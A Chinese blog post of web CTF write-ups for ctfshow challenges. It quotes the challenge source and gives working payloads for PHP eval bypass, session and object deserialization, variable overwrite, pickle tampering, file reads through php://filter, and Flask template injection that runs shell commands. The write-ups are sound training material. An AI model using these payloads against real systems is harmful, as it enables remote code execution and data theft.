CTF SHOW 新手杯/年CTF/2023愚人杯 WEB

闲来无事,做点web练练手,感觉web好有意思。本来做polar的题目呢,太卡了,索性来了ctf show

新手杯

这个看名字很适合我这样的新手打

easy_eval

php 复制代码
<?php



error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code);

}

这道题关闭了一个小标签。

我们可以用script标签<script language="php">system("ls /")</script>

剪刀石头布

看源码这部分:

if ($result=="You Win"){

$_SESSION['win']+=1;

} else {

$_SESSION['win']=0;

}

很明显是通过win这个参数来决定是否提供flag。思路卡住了

看大佬博客:CTFSHOW新手杯WEB方向部分WP前几天做了几个CTFSHOW新人杯的题目,感觉题目还挺好玩的,于是写了几个WEB题 - 掘金

原来是session反序列化,利用PHP_SESSION_PLOAD_PROGRASS进行session包含,模拟session生成。

原代码含有一个destruct方法,自然而然想到反序列化调用,在那里有反序列化的入口点呢?

其实观察到session.serialize_handler = php,也就是:(来源于豆包)

  • 存储时 :PHP 把 $_SESSION 里的键值对,按 键名|序列化后的键值 的格式写入 SESSION 文件;比如 $_SESSION['user'] = 'test',写入文件的内容是:user|s:4:"test";
  • 读取时 :PHP 读取 SESSION 文件内容,按 | 分割成「键名」和「键值」,只对 | 后面的键值部分做反序列化 ,然后赋值给 $_SESSION[键名]

那就好办了。先构造恶意数据:

php 复制代码
<?php
class Game
{
    public $log;

    public function __construct()
    {

        $this->log = '/var/www/html/flag.php';
    }


}
$a = new Game();
echo serialize($a);
//O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}

利用session文件包含的恶意网址:

html 复制代码
<!doctype html>
<html>

<body>
    <form action="https://bf1e01d0-02e6-4e96-b6c6-e181414a89a8.challenge.ctf.show/" method="POST"
        enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" />   
    </form>
</body>

</html>

回显就是flag:

repairman

观察url后面有一个mod参数,修改一下看看。

php 复制代码
Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}

if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}

function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}

if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }

        switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

应该是需要调用一个cmd函数,它的过滤比较严格。那只能考虑使用admin的cmd了。

这里应该是利用PHP的变量覆盖漏洞。让来自于cookie的secret的值等于这个:md5('admin'.$config['secret'])

可以看到这个函数:url = parse_url(_SERVER['REQUEST_URI']);

parse_str($url['query']);

看了其他大佬wp:ctfshow新手杯repairman(parse_str覆盖变量+传参数组) - hithub - 博客园可以利用变量覆盖漏洞。可以参考这个帖子:干货|一文带你了解PHP变量覆盖 - FreeBuf网络安全行业门户

虽说成功但是没有回显。可以尝试写一个一句话木马,我懒得搞了,直接将flag内容写入本地文件算了。这里用cat config.php>/1.txt

用yakit改方法不成功,用hackbar成了

baby_pickle

参考了ctfshow 新手杯 web-CSDN博客

传参name=999回显出来了。

那说明这里很可能存在模板注入,测试半天没看到,原来是还有一个源码忘记下载了,汗!

python 复制代码
# Author:
#   Achilles
# Time:
#   2022-9-20
# For:
#   ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message


@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

以上是源码,可以看到我们需要get_flag必须得保证user_id是大菜鸡也就是0。

根据自己写一个代码,发现二者区别很简单:这里需要注意name被序列化进去。方便我们了,本身程序也是需要name去找对应的文件的。

就是这里的I0和I2的区别,现在用cyberchef base64一下。调用change接口交换即可.500错误就是输错了

这里简单介绍一下payload:

change?name=base64(name)&newname=base64(name以后的)

base的时候cyberchef有一些空白红色报错的干扰字符要去除,会干扰base结果

然后访问getflag即可

简单的数据分析

根据主页提示访问txt得到python代码

python 复制代码
D = random.randint(100, 200)
pData = [numpy.random.random(D)*100,numpy.random.random(D)*100,numpy.random.random(D)*100]

try:
    data = request.form.getlist('data[]')
    data = list(map(float,data))
    data = numpy.array(data)
except:
    msg="数据转换失败"

try:
    distance =[numpy.linalg.norm(A-data) for A in pData]
    avgdist = numpy.mean(numpy.abs(distance - numpy.mean(distance))**2)
    if avgdist<0.001:
        msg= flag
    else:
        msg= f"您的数据与三个聚类中心的欧拉距离分别是<br><br>{distance}均方差为:{avgdist}"
except:
    msg="未提交数据或数据维度有误"

这他妈不会是密码题吧,我是有点看不懂,操

发给豆包分析下算法,果然靠不住

WriteUps/Y-2022/ctfshow 新手杯#CTFShow平台#Solo#1/readme.md at main · GhostFrankWu/WriteUps

观察,传参data[]越大方差越小,输入非常非常大的数字就行了。

但是写的话好感动,摘抄一下:

python 复制代码
如果我没有猜错的话,

你一定使用了大量的数据进行了拟合,

你可能使用了人工智能的工具。

不知道你有没有想过,

在数据如此透明的今天

在信息泄露层出不穷的现在

就在此时

就在此刻

我们到底还能守护住多少秘密?



能在这场比赛周走到这一步的朋友

请收下来自萌新阿狸的敬意。

ctfshow{ef169de3-f62c-48b2-a5d8-41304a3a18b4}



未来的路,很长

未来的风险,很多

但无需绝望

因为有更多的朋友在一路同行

也有有更多工具将为我们提供帮助

让我们心怀期许,保持微笑。

年CTF

新年必须打年CTF

除夕

是一道PHP特性的考点,这是弱类型比较。传一个浮点数就行

初三

代码被下划线搞得可读性非常差,我们放在sumline text打开,替换下划线为字母

首先需要知道PHP 中 {}[] 在变量 / 数组访问时是等价的,换行不影响语法

这里用到另一个知识:参考这个博客ctfshow_年ctf-wp_ctfshow年ctf-CSDN博客

phpinfo()和字符串弱比较结果是等于1的。

代码美化后如下所示:

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-19 10:31:36
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-19 13:11:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);


$func=function($var1,$var2){
    return $var1==$var2?$var2:$var1;
};
$$var1($func($_GET[$var2][$a][$e](),$flag));

说白了就是一个弱比较,然后借助$$调用函数,这一步还得按照原来的下划线来。

注意到题目的传参:

?=echo&=a&___=b&_____=c&a[b][c]=print

这里就改几个值即可,拿下

初六

依旧是反序列化的题目。

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 08:46:07
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include "flag.php";

class happy2year{

    private $secret;
    private $key;

    function __wakeup(){
        $this->secret="";
    }
    
    function __call($method,$argv){
        
        return call_user_func($this->key, array($method,$argv));
    }


    function getSecret($key){
        $key=$key?$key:$this->key;
        return $this->createSecret($key);    
    }


    function createSecret($key){
        return base64_encode($this->key.$this->secret);
    }

    function __get($arg){
        global $flag;
        $arg="get".$arg;
        $this->$arg = $flag;
        return $this->secret;
    }

    function __set($arg,$argv){
        $this->secret=base64_encode($arg.$argv);
        
    }

    function __invoke(){
        
        return $this->$secret;
    }
    

    function __toString(){
    
        return base64_encode($this->secret().$this->secret);
    }

    
    function __destruct(){
        
        $this->secret = "";
    }
    


}

highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
    $secret = $obj->getSecret($key);
    print("你提交的key是".$key."\n生成的secret是".$secret);
}

这位大佬讲解的非常详细:ctfshow 年ctf-CSDN博客

看外部函数,会调用getSecret,进而调用Creat。分析调用链,其实最关键的就是toString,它触发后会触发__call,随后调用_get,这里flag值被传递给没有的变量,所以调用set。然后就是我们的flag出来了

关键就是触发toString,我们可以利用外部代码,。给key传参即可

exp:

php 复制代码
<?

class happy2year
{

    private $secret;
    private $key;
    function __construct()
    {
        $this->key = $this;
    }
}
$a = new happy2year();
echo urlencode(serialize($a));

防止被转义用urlencode

2023愚人杯

easy_flask

注册一个账号进去,因为题目提示flask了,自然想到session

确实可以解密出来,接下来就是seek密钥了,找到密钥后就能伪造。

登进去有一个learn按钮,点进去能看到源码,美滋滋看到key

伪造的payload:{"loggedin":true,"role":"admin","username":"admin"}

爆了一个接口:/download/?filename=fakeflag.txt,看看是不是SSRF

下载/etc/passwd能够下载。估计能实现任意文件下载.先下载本地的app.py文件看看(show接口可看到文件名)

发现敏感接口。利用__import__("os").popen("ls").read()执行命令即可

easy_class(未解决)

应该也是考察代码审计:

php 复制代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace ctfshow;


class C{

    const __REF_OFFSET_1 = 0x41;
    const __REF_OFFSET_2 = 0x7b;
    const __REF_OFFSET_3 = 0x5b;
    const __REF_OFFSET_4 = 0x60;
    const __REF_OFFSET_5 = 0x30;
    const __REF_OFFSET_6 = 0x5f;

    const __REF_SIZE__= 20;
    const __REF_VAL_SIZE__= 50;

    private $cursor=0;
    private $cache;
    private $ref_table=[];

    

    function main(){
        $flag = md5(file_get_contents("/flag"));
        $this->define('ctfshow',self::__REF_VAL_SIZE__);
        $this->define('flag',strlen($flag));
        $this->neaten();
        $this->fill('flag',$flag);
        $this->fill('ctfshow',$_POST['data']);
        
        if($this->read('ctfshow')===$this->read('flag')){
            echo $flag;
        }
    }

    private function fill($ref,$val){
        rewind($this->cache);
        fseek($this->cache, $this->ref_table[$ref]+23);


        $arr = str_split($val);

        foreach ($arr as $s) {
            fwrite($this->cache, pack("C",ord($s)));
        }

        for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) { 
            fwrite($this->cache, pack("C","\x00"));
        }

        $this->cursor= ftell($this->cache);
    }

    public static function clear($var){
        ;
    }

    private function neaten(){
        $this->ref_table['_clear_']=$this->cursor;
        $arr = str_split("_clear_");
        foreach ($arr as $s) {
            $this->write(ord($s),"C");
        }
        for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) { 
            $this->write("\x00",'C');
        }

        $arr = str_split(__NAMESPACE__."\C::clear");
        foreach ($arr as $s) {
            $this->write(ord($s),"C");
        }

        $this->write(0x36d,'Q');
        $this->write(0x30,'C');

        for ($i=1; $i < self::__REF_SIZE__; $i++) { 
            $this->write("\x00",'C');
        }


    }

    private function readNeaten(){
        rewind($this->cache);
        fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
        $f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
        $t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
        $p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
        call_user_func($f,$p);

    }

    private function define($ref,$size){
        
        $this->checkRef($ref);
        $r = str_split($ref);
        $this->ref_table[$ref]=$this->cursor;
        foreach ($r as $s) {
            $this->write(ord($s),"C");
        }
        for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) { 
            $this->write("\x00",'C');
        }


        fwrite($this->cache,pack("v",$size));
        fwrite($this->cache,pack("C",0x31));
        $this->cursor= ftell($this->cache);

        for ($i=0; $i < $size; $i++) { 
            $this->write("\x00",'a');
        }
        
    }

    private function read($ref){

        if(!array_key_exists($ref,$this->ref_table)){
            throw new \Exception("Ref not exists!", 1);
        }

        if($this->ref_table[$ref]!=0){
            $this->seekCursor($this->ref_table[$ref]);
        }else{
            rewind($this->cache);
        }
        
        $cref = fread($this->cache, 20);
        $csize = unpack("v", fread($this->cache, 2));
        $usize = fread($this->cache, 1);

        $val = fread($this->cache, $csize[1]);

        return $this->truncation($val);

        
    }


    private function write($val,$fmt){
        $this->seek();
        fwrite($this->cache,pack($fmt,$val));
        $this->cursor= ftell($this->cache);
    }

    private function seek(){
        rewind($this->cache);
        fseek($this->cache, $this->cursor);
    }

    private function truncation($data){

        return implode(array_filter(str_split($data),function($var){
            return $var!=="\x00";
        }));

    }
    private function seekCursor($cursor){
        rewind($this->cache);
        fseek($this->cache, $cursor);
    }
    private function checkRef($ref){
        $r = str_split($ref);

        if(sizeof($r)>self::__REF_SIZE__){
            throw new \Exception("Refenerce size too long!", 1);
        }

        if(is_numeric($r[0]) || $this->checkByte($r[0])){
            throw new \Exception("Ref invalid!", 1);
        }

        array_shift($r);

        foreach ($r as $s) {

            if($this->checkByte($s)){
                throw new \Exception("Ref invalid!", 1);
            }
        }
    }

    private function checkByte($check){
        if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
            return true;
        }

        if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4 
            && ord($check) !== self::__REF_OFFSET_6){
            return true;
        }

        return false;

    }

    function __construct(){
        $this->cache=fopen("php://memory","wb");
    }

    public function __destruct(){
        $this->readNeaten();
        fclose($this->cache);
    }

}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;

$c->main();

参考文章:2023CTFSHOW愚人杯WEB部分WP | Lanb0's blog|一个默默无闻的网安爱好者

猛地一看介绍类似于pwn的栈溢出思路。

easy_php

也是一个反序列化,但是不能以O或者a开头

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-24 10:16:33
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}


?>

那就是说明存在正则过滤。如何破局?看了php反序列化进阶(绕过篇)!wakeup or 正则怎么绕过?全网最详细!小白0到1看这篇就够了!_php反序列化绕过-CSDN博客

学到了用O:+4绕过。这个正号是可选的,加不加不影响,刚好可以过滤正则表达式,但是这道题不适用

参考ctfshow 第三届愚人杯 easy-爱代码爱编程

原来是有更加nb的绕过方式。具体见上,大意是利用原生类,能绕过wakeup,还能支持反序列化。

exp:

php 复制代码
<?


class ctfshow
{

    public $ctfshow = "ls /";

}
$a = new ArrayObject();
$a->a = new ctfshow();
echo (serialize($a));

这个 payload 的执行流程是:

  1. 反序列化 ArrayObject 对象时,不会触发 ctfshow 类的 __wakeup(因为 __wakeup 属于 ctfshow 类,只有反序列化 ctfshow 类本身才会触发);
  2. 当脚本结束时,ArrayObject 和内部的 ctfshow 对象都会被销毁,触发 ctfshow 类的 __destruct 方法;
  3. 最终执行 system($this->ctfshow),也就是 cat /f* 命令(匹配根目录下所有以 f 开头的文件,比如 flag 文件)。

暗网聊天室(暂未解决)

参考WP:CTFSHOW第三届愚人杯WP | CN-SEC 中文网

进入黑客商店,提示访问已被记载入日志,瞬间想到日志能否被利用。发现并不是

此外,右上角能进入一个RSA解密的页面,暂时不清楚有什么用。

访问robots.txt,其包含一个备份文件,得到一串代码,大概意思是访问api参数的地方,我们怀疑是SSRF,让他读取下题目提示的9999端口,注释里面包含3个公钥:

html 复制代码
 <!--你先好好看看自己私钥啥格式,别漏了"\n"
"public_key1": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvWX0ilEDcyyOQIsMRcLm
/q57I0pFlhrZk6KqLTt2tjzZEsC/AMhAskz/BX1lCSee4lAsz/qvBDHUrJe956Uu
qXnXbuu/iYusNzyrJyyHMKCO9xZ69H1EmEmpbMMw7/SVJVpsGQYL19/b9U6qLiGS
vZlH9mWeCPx2ticKzX811VcAzRclebbHCaiFk/a7vgDplE/k55SaitpOFtTNsxI6
NBSHSK/kgi5b5lg85luOpQj++wLvea6LiSI7BhvNNnHCVyBuJjwNGEinW2dcnNHr
fbPlQZqY4pDNcq9JNMIzAlj3pR8huupee8TvvDIo0jIQ62F5BpU1OSN+0M+LmLb7
awIDAQAB
-----END PUBLIC KEY-----", "
public_key2": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuaABEPKx8qkCXLGlS7Pb
o/jXoU0sgCaruOx/O33YJpxchADdfsqO8dZ5jR3gHkh+LWI9RYOKAhLbgd8q4tNz
tKWAqUR+dBRQNy9/0RkIh5Z0s3hiWgAfoS+VbPw0cOjfCTvK0tGFf1mJskzAegYY
KsyZ4lyHjVIhpNoKBklQcXVvCP3E+815OiTfNmzU0YNHb1HpQgHbIxlgbdH+cboW
jsbmQvwJrEDJsaEnWyUD1W2LqbV45rhziJV4ZH3tgz8oe/hukNI0qrrrYqING+p5
86wu1E8fQlTHmHkpPVOXFm2q/xSwAt1YimNMW3FNnBB+VoZn/JEQhF8/r5vqZEm9
vwIDAQAB
-----END PUBLIC KEY-----", "
public_key3": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsk3Azx2N8CRKANZ7EjuT
dKyIurzDLZJDanZ4VIIaunc5JgNhMKRF1uGXf1XKXsGtdqw7D2F3894pgDDdXKs8
lAswDfyZLQgh+u/kxalxzMF/pp/Q5a1s3ZhySBAqMwRVmjhfZSv66uOd8sEpZMOd
Qr1jnZNPDTSP1ICCBWZKqbEgPWCDA9k9JefOapeklGCYpVowgCzrF1Nadv98gOq9
ugAowTZwio0KDemmWIBfjGLzf8PUfzA1Dt4TU2ScsV4Bs1EW6uFcG8pa2chf70Kh
YJ/uNPrWiFoMuOFNtcCxrhQT2gcBdGbO/omicOKe8tPaCONNZsvrlGk+o+ZoZReL
7wIDAQAB
-----END PUBLIC KEY-----"-->

我们还需要拿到私钥才能逐个解密,现在点击右上角拦截插件,观察进一步提示:

根据这个页面的提示,实际上这个聊天室加密原理就是A的消息三层加密,逐个节点解开,最终获取明文。明文会发送给B的ip。现在看了大佬博客才知道,我们可以把自己的IP直接放到节点3那里,而不必要纠结于密钥分发。

在update接口,能找到服务器分发的一个密钥和IP,看来我们就是其中的一个节点。

而我一直迷惑不知道我是哪个节点,看图猛然发现标红了俩地方,看来我们是节点1.现在我打算自己写一个python脚本解答这个题目,当然最后报错不断,动用AI修复了脚本。这里RSA加密的位数等我不是特别理解,还需进一步巩固

整理下线索:

1.需要给下一个节点发送消息(request模块)(拦截模块的传递给下一个暴露了API)

2.盗用(复用)题目给出的密钥和RSA加密方式

3.伪造用户B的ip为咱们自己的(也就是shop页面提示的)

4.再次访问update API,看我们收到的消息。

exp:

easy_signin

给了一个滑稽.jpg。首先看看这个网站源码,并无信息,只是一个长长的base编码图片

将图片下载到本地,没有明显提示

观察URL,img参数会接受一个base64编码字符串,所以联想到SSRF漏洞。直接输入/flag的编码会报错

利用伪协议:php://filter/read=convert.base64-encode/resource=index.php读取源码,然后就拿到源码base64,解码即可

php 复制代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$image=$_GET['img'];

$flag = "ctfshow{4d22b46b-59b5-4af2-9f5b-66b692e4367b}";
if(isset($image)){
	$image = base64_decode($image);
	$data = base64_encode(file_get_contents($image));
	echo "<img src='data:image/png;base64,$data'/>";
}else{
	$image = base64_encode("face.png");
	header("location:/?img=".$image);
}

被遗忘的反序列化

这道题是利用反序列化思路。里面有不少类,我不太会搞序列化的题目,参考了以下WP:CTFshow愚人杯-被遗忘的反序列化 - Ssh1y - 博客园

愚人杯-web-被遗忘的反序列化-CSDN博客

php 复制代码
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

思路无外乎利用魔术方法和原生类。

以下类应该是我们的突破口,因为其有一个危险函数Eval,但是调用它得先拿到cipher函数,估计其在check.php

php 复制代码
public function aaa()
    {
        $get = $_GET['get'];
        $get = cipher($get);
        if ($get === "p8vfuv8g8v8py") {
            eval ($_POST["eval"]);
        }
    }

那还得想办法拿到check.php内容。恰好有一个file_get_content函数被调用,我们可以用这个读取check.php

php 复制代码
 public function __wakeup()
    {
        if (!preg_match("/php|63|\*|\?/i", $this->key)) {
            $this->key = file_get_contents($this->file);
        } else {
            echo "不行哦";
        }
    }

这个正则表达式虽然对key做了限制,可惜我们读取的内容在this->file。因此无需大惊小怪,那么先利用这个wakeup读取文件吧。当然我们需要注意,这个key没法被echo出来,参考其他文章得知,实际上给一个引用即可,echo aaa的时候,aaa传参为key的引用就行,有点像C语言/

exp:

php 复制代码
<?php
class w_wuw_w
{
    public $aaa;
    public $key;
    public $file;

}
$a = new w_wuw_w();
$a->file = "php://filter/convert.base64-encode/resource=check.php";
$a->aaa =& $a->key;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}

hackbar搞一个AAAAAA请求头请求即可。然后得到回显如下:

php 复制代码
<?php

function cipher($str)
{

    if (strlen($str) > 10000) {
        exit(-1);
    }

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $shifted = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
            $shifted .= $charset[$new_pos];
        } else {
            $shifted .= $char;
        }
    }

    return $shifted;
}

可以看出其就是一个移位密码,可以简单写一个python还原它的算法:

说白了就是凯撒加密

python 复制代码
def cipher_decode(str,shift):
    result=''
    des='qwertyuiopasdfghjklzxcvbnm123456789'
    for i in range(0,len(str)):
        old_index=(des.index(str[i])+shift+len(des))%len(des)
        result+=des[old_index]
    return result
if __name__=="__main__":
    print(cipher_decode("p8vfuv8g8v8py",4))
#fe1ka1ele1efp
                                                        

然后就可以着手构造RCE链条,需要调用漏洞函数aaa,就必须先触发__clone魔术方法,那就得先调用__invoke(),想要调用invoke就必须得调用toSring,刚好w_wuw_w的destruct方法能调用toSring

总结出来一句话就是,先利用w_wuw_w类的__destruct(),此时会调用gBoBg类的__toString,这时候会调用w_wu_w的__invoke()方法,这个方法紧接着会调用后门函数aaa(),只需要构造好每一步的参数即可。

刚开始exp构造没有删除俩私有属性,构造出来的exp不简洁还老是失败,后来删除后就成功了,真神奇,卧槽他么的

php 复制代码
<?php
class w_wuw_w
{
    public $aaa;
    public $key;
    public $file;

}



class gBoBg
{
    public $name;
    public $file = 2;
    public $coos;

}
class EeE
{
    public $text;
    public $eeee;


}
class cycycycy
{
    public $a;

}
$b = new gBoBg();
$c = new cycycycy();
$a = new w_wuw_w();//起点,触发destruct
$d = new EeE();
$b->coos = $a;//触发invoke
$a->aaa = $b;//触发toString

echo serialize($a);

看了高手的思路,问了豆包,知道了利用原生类获取txt文件:

GlobIterator 是 PHP 内置的迭代器类,核心功能是遍历匹配指定通配符规则的文件 / 目录,比如:

  • new GlobIterator("/*.txt"):遍历根目录下所有 .txt 文件;
  • new GlobIterator("./*.txt"):遍历当前目录 下所有 .txt 文件(. 代表当前目录)。

关键特性:GlobIterator 实现了 __toString() 方法,当用 echo 输出这个对象时,会自动打印匹配到的第一个文件名------ 这正是我们需要的 "获取 txt 文件名" 的核心。

但是这道题获取check.php也是可以做出来的!

easy_ssti

网页源码注释提示源码在app.zip

python 复制代码
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

因此查询到接口是/hello/<format string>。这里可以考虑python模板注入了。先输入表达式看会不会被渲染,只要被{{}}包裹都能被渲染

输入payload1查看可用类:{{"".class.base.subclasses()}}

接下来找到索引,接着利用即可.这里参考了hello ctf,用的是 <class 'warnings.catch_warnings'>打的。

输入/会被当作目录。可以用编码绕过,我这里直接用request绕过了。

参考了CTFSHOW 愚人杯easy_ssti_ctfshow easyssti-CSDN博客

{{''.class.base.subclasses()[213].init.globals.builtins["eval"]('import("os").popen("`echo Y2F0IC9mbGFn|base64 -d`").read()')}}

payload在上面

相关推荐
mCell7 小时前
如何零成本搭建个人站点
前端·程序员·github
mCell8 小时前
为什么 Memo Code 先做 CLI:以及终端输入框到底有多难搞
前端·设计模式·agent
恋猫de小郭8 小时前
AI 在提高你工作效率的同时,也一直在增加你的疲惫和焦虑
前端·人工智能·ai编程
少云清8 小时前
【安全测试】2_客户端脚本安全测试 _XSS和CSRF
前端·xss·csrf
银烛木8 小时前
黑马程序员前端h5+css3
前端·css·css3
m0_607076609 小时前
CSS3 转换,快手前端面试经验,隔壁都馋哭了
前端·面试·css3
听海边涛声9 小时前
CSS3 图片模糊处理
前端·css·css3
IT、木易9 小时前
css3 backdrop-filter 在移动端 Safari 上导致渲染性能急剧下降的优化方案有哪些?
前端·css3·safari
0思必得09 小时前
[Web自动化] Selenium无头模式
前端·爬虫·selenium·自动化·web自动化
anOnion9 小时前
构建无障碍组件之Dialog Pattern
前端·html·交互设计